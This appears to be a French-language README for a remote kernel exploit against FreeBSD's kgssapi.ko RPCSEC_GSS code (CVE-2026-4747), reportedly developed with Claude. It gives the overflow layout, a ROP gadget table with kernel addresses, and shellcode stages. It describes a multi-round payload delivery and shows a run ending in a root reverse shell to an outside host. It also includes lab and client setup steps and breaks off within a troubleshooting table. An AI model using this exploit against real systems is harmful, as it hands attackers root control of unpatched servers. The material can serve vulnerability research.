
Exploit noyau à distance pour FreeBSD CVE-2026-4747, exploitant un débordement de tampon de pile dans kgssapi.ko pour obtenir une exécution de code à distance (RCE) avec un shell inversé. Inclut une livraison ROP multi-tours et des instructions d'installation détaillées.
| Aspect | Détail |
|---|
| CVE | CVE-2026-4747 |
| Vulnérabilité | Dépassement de tampon de pile dans kgssapi.ko (RPCSEC_GSS) |
| Impact | Exécution de code à distance dans le noyau → shell inverse uid 0 |
| Systèmes affectés | FreeBSD 13.5, 14.3, 14.4, 15.0 (versions non corrigées) |
| Découvert par | Nicholas Carlini utilisant Claude (Anthropic) |
| Date de l'avis | 2026-03-26 |
| Temps d'exploitation | ~8 heures (4 heures de travail réel de Claude) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
Sortie :
==============================================================
CVE-2026-4747 : FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → shell inverse uid 0
==============================================================
Cible : 127.0.0.1:2049
Rappel : 10.0.2.2:4444
SPN : nfs/[email protected]
Shellcode : 432 octets (54 qwords)
Livraison : 15 tours (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → SAUT 0xffffffff8198a800 ✓
[*] Shellcode livré et en cours d'exécution
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Shell inverse → 10.0.2.2:4444
[+] Connexion depuis 127.0.0.1:41320
[+] Shell obtenu !
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude a résolu 6 problèmes techniques distincts pour passer d'un avis à un shell inverse fonctionnel :
pmap_change_prot() → BSS exécutablekthread_exit() pour terminer proprement (sans panique du noyau)kproc_create() → nouveau processus avec infrastructure mode utilisateurkern_execve("/bin/sh") → charge l'ELF, configure le trapframe, nettoie le flag P_KPROC/bin/sh s'exécute en ring 3 en tant que uid 0trap 1 (exception de débogage) sur une instruction validekproc_create() hérite des registres de débogage du parentkproc_create()Corps de l'identifiant d'octet → Cible de la pile
[0..35] → En-tête GSS (version, proc, seq, svc, handle)
[36..151] → Remplissage (reste rpchdr + variables locales)
[152..199] → Registres sauvegardés (RBX, R12, R13, R14, R15, RBP)
[200..207] → ADRESSE DE RETOUR ← Premier gadget ROP
[208..399] → Chaîne ROP (192 octets = 24 qwords)
| Gadget | Adresse | Objectif |
|---|---|---|
pop rdi; ret | K+0x1adcda | Arg 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | Arg 2 (rsi) |
pop rdx; ret | K+0x5fa429 | Arg 3 (rdx) |
pop rax; ret | K+0x400cb4 | Valeur à écrire |
mov [rdi], rax; ret | 0xffffffff80e3457c | Écriture arbitraire de 8 octets |
Où K = 0xffffffff80200000 (base du noyau, sans KASLR sur FreeBSD 14.x)
Phase 1 - Entrée (thread NFS détourné) :
mov rax, 0xffffffff8198bf00 ; Pivot de pile vers BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; Nettoie les points d'arrêt matériels
call rbx ; kproc_create (préchargé dans RBX)
mov rax, kthread_exit
call rax ; Termine le thread proprement
Phase 2 - Worker (nouveau processus noyau) :
; Configure les arguments pour kern_execve
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; Ajoute "-c" et la commande du shell inverse
; ...
; Exécute /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; Nettoie le flag P_KPROC
and byte [rax + 0xb8], 0xfb ; Permet la transition vers l'espace utilisateur
ret ; → fork_exit → userret → iretq → ring 3
# Téléchargement de l'image
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Configuration cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# Démarrage avec redirection de ports
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
Exigences :
Configuration dans la VM :
# 1. Installer Kerberos
pkg install -y krb5
# 2. Créer le KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. Initialiser la base de données KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. Créer les principals (remplace "test" par ton hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. Démarrer le KDC
/usr/local/sbin/krb5kdc
# 6. Configurer NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. Activer les services
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. Vérifier
sysctl vfs.nfsd.threads # Doit afficher 16 (avec 2 CPU)
sockstat -l | grep 2049 # Doit afficher tcp4/tcp6
# 1. Installer les paquets
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. Configurer /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # CRITIQUE : évite la canonicalisation DNS
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) ou 192.168.x.x:88 (bridged)
}
EOF
# 3. Ajouter le hostname à /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. Obtenir le ticket Kerberos
echo "password" | kinit [email protected]
klist
# 5. (Optionnel) Installer ROPgadget pour trouver de nouveaux gadgets
pip install ROPgadget
Chaîne ROP :
pop rdi → rdi = 0xffffffff8198a000 (page BSS)
pop rsi → rsi = 0x2000 (2 pages = 8 Ko)
pop rdx → rdx = 7 (VM_PROT_ALL = RWX)
pmap_change_prot → change les permissions en RWX
pop rdi → rdi = 0
kthread_exit → termine le thread proprement
Chaque tour écrit 32 octets (4 qwords) dans BSS :
Modèle de chaîne ROP :
pop rdi → rdi = BSS_SC + offset
pop rax → rax = shellcode_qword
mov [rdi], rax → écrit 8 octets
(répéter 3 fois de plus)
pop rdi → 0
kthread_exit → termine
Coût : 40 octets ROP/8 octets écrits → 15 tours au total
Chaîne ROP :
pop rdi → rdi = BSS_SC + 416
pop rax → rax = dernier qword
mov [rdi], rax → écrit
(répéter)
BSS_SC → SAUT VERS LE SHELLCODE !
| Problème | Cause | Solution |
|---|---|---|
| Offset RIP incorrect | Le désassemblage statique ne comptait pas l'en-tête GSS | Motif De Bruijn + lecture du crash dump |
| Incompatibilité MIT/Heimdal | Canonicalisation DNS du hostname | rdns = false + dns_canonicalize_hostname = false |
| Trap 1 dans le worker | Registres de débogage hérités de DDB | Nettoyer DR7 avant kproc_create() |
| Le shellcode ne tient pas | 432 octets > 400 octets (limite XDR) | Livraison en |